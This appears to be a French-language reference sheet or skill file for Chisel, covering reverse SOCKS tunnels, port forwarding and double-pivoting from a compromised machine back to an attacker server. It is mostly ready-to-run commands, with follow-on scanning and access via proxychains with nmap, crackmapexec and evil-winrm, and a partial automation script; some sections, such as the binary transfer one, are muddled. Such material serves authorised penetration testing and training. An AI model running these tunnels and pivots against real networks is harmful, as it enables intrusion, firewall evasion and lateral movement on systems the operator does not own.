| name | chisel |
| description | Chisel — tunnel TCP/HTTP/WebSocket, SOCKS proxy, reverse port forwarding, single-binary client/server, traversée de firewall, HTTP over WebSocket, et scénarios de pivoting avancés. |
Chisel — Tunnel TCP via WebSocket
Présentation
Chisel crée des tunnels TCP sécurisés encapsulés dans HTTP via WebSocket. Un seul binaire fait serveur ET client. Parfait quand seul le port 443 (HTTPS) est ouvert.
Installation :
sudo apt install chisel
wget https://github.com/jpillora/chisel/releases/latest/download/chisel_X.X.X_linux_amd64.gz
gunzip chisel_*.gz
chmod +x chisel
Architecture
┌──────────────┐ WebSocket ┌──────────────┐
│ Client │◄────8080────►│ Serveur │
│ (cible) │ (HTTP) │ (attaquant) │
└──────────────┘ └──────┬───────┘
│ SOCKS
▼
┌──────────────┐
│ Réseau │
│ Interne │
└──────────────┘
Mode SOCKS (proxy)
Serveur (attaquant)
chisel server -p 8080 --socks5 --reverse
chisel server -p 443 --socks5 --reverse
chisel server -p 8080 --socks5 --reverse --auth user:password
chisel server -p 8080 --socks5 --reverse --compress
chisel server -v -p 8080 --socks5 --reverse
Client (cible — machine compromise)
chisel client 192.168.1.50:8080 R:socks
chisel client 192.168.1.50:8080 R:socks --auth user:password
chisel client http://proxy.corp:3128 192.168.1.50:8080 R:socks
chisel client 192.168.1.50:8080 R:socks --compress
chisel client 192.168.1.50:8080 R:socks
Utilisation du SOCKS proxy
cat /etc/proxychains4.conf
chisel server -p 8080 --socks5 --reverse
chisel client 192.168.1.50:8080 R:1080:socks
proxychains nmap -sT -Pn 192.168.2.10
proxychains crackmapexec smb 192.168.2.10
proxychains evil-winrm -i 192.168.2.10 -u admin -p pass
proxychains rdesktop 192.168.2.10
Mode Port Forwarding
Forward simple (serveur → client)
chisel server -p 8080 --reverse
chisel client 192.168.1.50:8080 R:3389:localhost:3389
rdesktop 127.0.0.1:3389
Remote forwarding (client → serveur)
chisel server -p 8080 --reverse
chisel client 192.168.1.50:8080 \
R:3389:127.0.0.1:3389
rdesktop 127.0.0.1:3389
Local forwarding (serveur → serveur)
chisel server -p 8080 --reverse
chisel client 192.168.1.50:8080 \
R:4444:127.0.0.1:4444
nc -lvp 4444
Multiple forwards
chisel client 192.168.1.50:8080 \
R:3389:127.0.0.1:3389 \
R:445:127.0.0.1:445 \
R:22:127.0.0.1:22
Pivoting vers le réseau interne
Forward vers une machine du réseau interne
chisel client 192.168.1.50:8080 \
R:8080:192.168.2.10:80 \
R:3389:192.168.2.20:3389
Pivoting + SOCKS
chisel client 192.168.1.50:8080 \
R:1080:socks \
R:3389:192.168.2.10:3389
proxychains nmap -sT 192.168.2.0/24
rdesktop 127.0.0.1:3389
Double-pivoting (par Chaîne)
Attaquant ──── Chisel ──── Pivot1 ──── Chisel ──── Pivot2 ──── Cible
Kali (SOCKS) 192.168.1.x (SOCKS) 192.168.2.x 10.0.0.x
Configuration double-pivot
chisel server -p 8080 --socks5 --reverse
chisel client 192.168.1.50:8080 R:1080:socks
chisel server -p 8081 --socks5 --reverse
chisel client 192.168.2.10:8081 R:1081:socks
cat /etc/proxychains4.conf
proxychains nmap -sT 10.0.0.0/24
Transfert de binaire via Chisel
chisel server -p 8080
chisel client 192.168.1.50:8080 R:8080:192.168.1.50:8080
Chisel avec authentification
chisel server -p 8080 --socks5 --reverse --auth chiseluser:StrongP@ss
chisel client 192.168.1.50:8080 R:socks --auth chiseluser:StrongP@ss
Options avancées
chisel server -p 8080 --keepalive 25s
chisel server -p 8080 --handshake-timeout 10s
chisel server -p 8080 --max-latency 5s
chisel server -p 8080 --max-retry-count 5
chisel server -p 443 --tls-key key.pem --tls-cert cert.pem --reverse
chisel client https://192.168.1.50:443 R:socks
chisel server -p 443 --tls-key key.pem --tls-cert cert.pem --reverse --authentication
Script d'automatisation
#!/bin/bash
SERVER_IP=$1
SERVER_PORT=${2:-8080}
SOCKS_PORT=${3:-1080}
echo "[+] Serveur Chisel sur $SERVER_IP:$SERVER_PORT"
chisel server -p $SERVER_PORT --socks5 --reverse &
echo "[+] Client Chisel vers $SERVER_IP..."
echo " SOCKS5 sur 127.0.0.1:$SOCKS_PORT"
echo " Utiliser: proxychains <commande>"
Dépannage
| Problème | Solution |
|---|
| "Connection refused" | Vérifier le port serveur, firewall |
| SOCKS ne fonctionne pas | proxychains -sT (pas -sS pour nmap) |
| WebSocket bloqué | Proxy HTTP CONNECT (chisel client http://proxy:3128 ...) |
| Perte de connexion | Ajouter --keepalive 30s |
| TLS erreur | Vérifier les certificats, --tls-skip-verify |
Antisèche rapide
chisel server -p 8080 --socks5 --reverse
chisel client 192.168.1.50:8080 R:socks
proxychains nmap -sT 192.168.2.0/24
proxychains crackmapexec smb 192.168.2.10
chisel client 192.168.1.50:8080 R:3389:127.0.0.1:3389
rdesktop 127.0.0.1:3389
chisel client 192.168.1.50:8080 R:1080:socks R:3389:192.168.2.10:3389